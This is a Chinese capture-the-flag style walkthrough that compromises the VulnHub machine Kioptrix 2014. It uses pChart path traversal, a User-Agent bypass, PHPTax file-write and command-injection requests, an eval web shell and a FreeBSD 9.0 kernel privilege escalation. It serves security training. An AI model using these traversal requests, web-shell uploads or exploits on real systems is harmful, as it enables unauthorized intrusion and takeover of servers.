准备工作
靶机基本信息
靶机名称:Kioptrix2014
操作系统:BSD
虚拟机软件:VMware Workstation
网络连接方式:桥接至物理网络
渗透测试目标:获取靶机最高权限和交互式Shell
下载地址:Kioptrix: 2014 (#5) ~ VulnHub
环境配置
在使用该虚拟机前,请先将关机状态下的虚拟机网卡删除,再重新添加一次网卡,注意网络连接方式为Bridged。
信息收集
主机发现
在Kali Linux中,使用如下命令进行靶机IP地址发现:
netdiscover -r 192.168.2.0/24
由扫描结果可以得知,靶机的IP地址为192.168.2.131(即带有VMware, Inc.文字的那一项)
先使用ping命令测试ICMP连通性:
┌──(root㉿hacker)-[/home/hacker]
└─# ping -c 4 192.168.2.131
PING 192.168.2.131 (192.168.2.131) 56(84) bytes of data.
--- 192.168.2.131 ping statistics ---
4 packets transmitted, 0 received, 100% packet loss, time 3061ms
看来靶机上有可能运行着防火墙。
网络服务扫描
先前发现使用ping命令无法连通靶机,推测靶机上可能有防火墙。所以使用nmap探测时加上-Pn参数:
nmap -A -sV -Pn 192.168.2.131
可以看到靶机开放了如下服务:
| 端口 | 传输层协议 | 应用层协议 | 详细信息 |
|---|---|---|---|
22 | TCP | SSH | 未知 |
80 | TCP | HTTP | Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8) |
同时确定操作系统为FreeBSD,版本最有可能在7.0至9.0之间。
话说我要不要临时恶补一下FreeBSD这玩意儿怎么用???!Σ(っ °Д °;)っ
好吧,附上几本FreeBSD官方的中文版使用手册:
- FreeBSD 使用手册 | FreeBSD Documentation Portal
- FreeBSD 系统结构手册 | FreeBSD Documentation Portal
- FreeBSD Porter 手册 | FreeBSD Documentation Portal
- Linux® 用户的 FreeBSD 快速入门向导 | FreeBSD Documentation Portal
(相信大家应该都会用Linux吧)
初步扫描完成,准备进行服务探测。
服务探测
SSH服务
由于nmap在扫描时并未扫出22端口的信息,感觉比较奇怪,准备进行手动探测:
┌──(root㉿hacker)-[/home/hacker]
└─# nc 192.168.2.131 22
(UNKNOWN) [192.168.2.131] 22 (ssh) : Connection refused
看来22端口上可能有防火墙策略一类的东西。
HTTP服务
通过前面的扫描,我们已经得知HTTP服务器的版本为Apache httpd 2.2.21,mod_ssl模块版本为2.2.21,PHP语言的版本为5.3.8。
使用searchsploit寻找漏洞:
searchsploit apache 2.2.21
选中如下漏洞:
Apache + PHP < 5.3.12 / < 5.4.2- Remote Code Execution + ScannerApache mod_ssl < 2.8.7 OpenSSL-OpenFuck.cRemote Buffer Overflow
使用searchsploit -m命令保存EXP。
Web应用程序(8080端口)
打开浏览器,访问8080端口:
打开BurpSuite,尝试修改HTTP包中的 X-Forwarded-For头绕过:
X-Forwarded-For: 127.0.0.1
一直没反应,跳过。
Web应用程序(80)
发现pChart业务
打开浏览器,访问80端口:
firefox http://192.168.2.131/
除了一句英文啥也没有,看看源代码:
<html>
<head>
<!--
<META HTTP-EQUIV="refresh" CONTENT="5;URL=pChart2.1.3/index.php">
-->
</head>
<body>
<h1>It works!</h1>
</body>
</html>
发现了一个路径:http://192.168.2.131/pChart2.1.3/index.php,访问试试:
看样子是个图表生成网站,应该是通过编写PHP程序,然后执行程序内用于绘制图表的代码。?等等,PHP......那样岂不是可以试试写入一句话木马??!
目录扫描
使用dirsearch扫描一波目录:
dirsearch -u http://192.168.2.131/pCharts2.1.3/ -i 200,301,302
可以看到该Web应用的目录结构如下:
/fonts=> 网站字体文件目录/cache=> 网站缓存文件目录/class=> 网站业务处理器目录/data=> 网站数据库文件目录(.db格式)/examples=> 图表脚本储存目录/index.php=> 网站主页/readme.txt=> 使用文档/change.log=> 更新说明
注:
/example目录中脚本文件的名称格式为example.图表样例名称.php。
查看网站说明文件
在目录扫描过程中,发现了两个说明文件,现在进行访问:
readme.txt部分文件内容如下:
change.log部分文件内容如下:
只能从中看到pChart的版本为2.1.3,还有网站的详细目录结构。同时也得知了/data目录下的文件对本次渗透来说应该没什么用。
发现任意文件读取漏洞
打开目标主页,同时按F12键打开网络分析功能,随便点击一个图表实例,网站显示出了图表渲染结果和脚本源代码。同时网络分析栏中的一项结果引起了我的兴趣:
HTTP参数Action接受值为View,参数Script为文件的名称,随后页面返回了该文件的内容(即PHP脚本源码),这不就是显示指定文件的内容吗?
尝试参数Script改为其它内容:../data/39.db
成功读取其它文件。猜测后端逻辑如下:
<?php
$action = $_GET['Action'];
$script = $_GET['Script'];
/* More PHP codes ... */
if ($action == 'View'){
if (isset($script) && !empty($script)){
echo(file_get_contents($script));
} else echo("");
}
/* More PHP codes ... */
?>
现在试试读取/etc/passwd文件:
成功!!确认靶机pChart业务存在任意文件读取漏洞。
渗透测试
Web应用程序
尝试写入PHP木马
既然网站的功能是通过运行PHP程序生成图表,那我们为什么不在输入的参数中动手脚?
打开网址:http://192.168.2.131/pChart2.1.3/examples/sandbox/,进入沙盒页面。在参数编辑页面中的标题一栏内写入如下内容:
希儿世界第一可爱!".phpinfo()."
生成的部分PHP源代码如下:
<?php
/* More PHP codes ... */
$myPicture->drawText(350,25,"希儿世界第一可爱!".phpinfo()."",$TextSettings);
?>
点击Render picture按钮,如图:
但很可惜,似乎失败了:
后续尝试了非常多的方法,包括但不限于URL编码、更换输入位置等等,但全部以失败告终,无奈之下只能放弃。
读取Apache配置文件
就在这时,我想起了靶机的8080端口还运行着HTTP服务,但是打开时提示拒绝访问,很可能是因为某些配置文件所导致。为什么不去尝试读取Apache的配置文件?
百度了一下,看到FreeBSD版的Apache配置文件路径为:/usr/local/etc/apache22/httpd.conf。
使用浏览器打开如下网址:http://192.168.2.131/pChart2.1.3/examples/index.php?Action=View&Script=../../../../../../../usr/local/etc/apache22/httpd.conf
这里的配置显示:
8080端口上的网站绝对路径为/usr/local/www/apache22/data2- 浏览器的
User-Agent信息必须为Mozilla4
使用扩展修改User-Agent信息
知道了访问8080端口上的服务时需要修改User-Agent标识为Mozilla 4.0后,我们可以通过火狐浏览器中的一个扩展插件User Agent Switcher修改浏览器的该项信息,如图:
注:该扩展可以在火狐插件市场中找到。
重新访问8080端口,发现访问成功:
PHPTax站点信息收集
打开站点,发现它长这样 (这是个啥???)
百度一下,貌似是某个太平洋对岸的国家用来生成报税文档的一款系统。点了一遍表格上的链接,发现页面没啥反应,查看网页源代码,也没发现什么有价值的信息,直接上dirsearch扫一遍目录:
dirsearch -u http://192.168.2.131:8080/phptax/ -i 200,301,302 --user-agent=Mozilla/4.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5
/data=> 网站用户数据目录/files=> 网站PDF模板目录/pictures=> 网页图片目录/readme=> 网站说明文档/index.php=> 网站主页/drawimage.php=> 图片生成工具
试着打开以上目录查看,在/data/pdf/目录下发现了了不得的东西:
毫无疑问,这些信息是提示漏洞所在处。可是这些漏洞是在哪个页面触发的?试了一大圈,还是不得而知。于是尝试使用之前站点的任意文件读取漏洞来读取本站点的index.php和drawimage.php,尝试找出漏洞。
本站点代码审计
已知PHPTax的绝对路径为:/usr/local/www/apache22/data2/phptax/,那么可以访问如下网址读取脚本:
http://192.168.2.131/pChart2.1.3/examples/index.php?Action=View&Script=../../../../../../../usr/local/www/apache22/data2/phptax/index.phphttp://192.168.2.131/pChart2.1.3/examples/index.php?Action=View&Script=../../../../../../../usr/local/www/apache22/data2/phptax/drawimage.php
现在贴出两份程序的源代码(部分):
index.php
if (!$newvalue and $pfilez != "1040d-pg1.tob" and $pfilez != "1040d-pg2.tob") {
$data=file("./data/$field");
echo "<form action='index.php'>\n";
echo "<input type=text value='$data[0]' name='newvalue' size=25>\n";
echo "<input type=hidden name=field value='$field'>\n";
echo "<input type=hidden name=pfilez value='$pfilez'>\n";
echo "<input value='Submit' type='submit'>\n";
echo "</form>\n";
}
if ($_GET[newvalue]) {
$zz=fopen("./data/$field","w");
fwrite($zz,"$_GET[newvalue]");
fclose($zz);
}
drwaimage.php
经过审计,分别发现以下漏洞:
index.php 任意文件写入漏洞
高危漏洞。在从第30行开始到第34行结束的分支中,传入的参数$_GET['newvalue']和$field未经任何过滤、拦截或限制就被作为fopen()和fwrite()函数的参数进行使用,导致任意文本的写入。
EXP:
GET /phptax/index.php?field=phpinfo.php&pfilez=1040d-pg1.tob&newvalue=<?php%20phpinfo();%20?> HTTP/1.1
Host: 192.168.2.131:8080
User-Agent: Mozilla/4.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5
drawimage.php OS命令执行漏洞
高危漏洞。在drawimage.php的第71行中,$pfilef变量作为exec()函数的参数组成部分,其文本内容过滤机制可以被轻松绕过,导致恶意的操作系统命令被执行。
EXP:
GET /phptax/drawimage.php?pdf=make&pfilez=test%20||%20sleep%2060%00 HTTP/1.1
Host: 192.168.2.131:8080
User-Agent: Mozilla/4.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5
利用任意文件写入漏洞
现在,我们利用已经发现的任意文件写入漏洞来进行WebShell的写入。WebShell的内容为:
<?php @eval($_POST['code']); ?>
根据有漏洞的源代码,发送以下HTTP GET参数:
- $field:
backdoor.php - $pfilez:
1040d-pg1.tob - $newvalue:
<?php%20eval($_POST['code']);%20?>
GET /phptax/index.php?field=backdoor.php&pfilez=1040d-pg1.tob&newvalue=<?php%20eval($_POST['code']);%20?> HTTP/1.1
Host: 192.168.2.131:8080
User-Agent: Mozilla/4.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5
访问http://192.168.2.131:8080/phptax/data/确认WebShell是否写入:
写入成功! 接下来直接使用蚁剑连接。
注意:请在
请求信息一栏中添加User-Agent信息!
连接成功:
对靶机Web服务的渗透结束,进入权限提升部分。
HTTP服务
在服务探测过程中,我们已经选中了两个漏洞EXP。现在尝试利用第一个漏洞:
Apache + PHP < 5.3.12 / < 5.4.2- Remote Code Execution + Scanner
尝试运行29316.py:
python3 -m 29316.py
参数如下:
尝试扫描靶机:
┌──(root㉿hacker)-[/home/…/Documents/vulnhub_notes/kioptrix2014/exp目录]
└─# python2 ./29316.py -h 192.168.2.131 -s
--==[ ap-unlock-v1337.py by noptrix@nullsecurity.net ]==--
[+] sc4nn1ng s1ngl3 h0st 192.168.2.131
[+] h0p3 1t h3lp3d
看来不行。。更换EXP试试:
Apache mod_ssl < 2.8.7 OpenSSL-OpenFuck.cRemote Buffer Overflow
尝试编译21671.c:
g++ ./21671.c -o 21671
直接报一大堆错误,环境不兼容:
渗透失败,针对Apache软件的渗透测试结束。
权限提升
本地信息收集
通过中国蚁剑进入Shell后,首先必须执行如下命令:
ascmd /bin/sh
这将设置成把用户输入的命令交给操作系统的/bin/sh命令解释器执行。
接下来使用uname命令收集操作系统的版本和补丁信息:
uname -ar
可以看到FreeBSD的版本为9.0。使用searchsploit寻找对应版本的漏洞:
searchsploit freebsd 9.0
最后选中了如下漏洞:
FreeBSD 9.0- Intel SYSRET Kernel Privilege Escalation
使用如下命令将其复制到当前目录:
searchsploit -m 28718.c
直接上传到靶机:
内核漏洞提权
在靶机中,使用如下命令编译执行EXP:
gcc 28718.c -o 28718
chmod 777 ./28718
./28718
P.S. 这里由于在蚁剑内执行提权程序会失效,作者直接利用
msfvenom制作了木马文件并通过蚁剑上传至靶机,随后使用Kali Linux中自带的Armitage工具控制了靶机。
提权成功!!!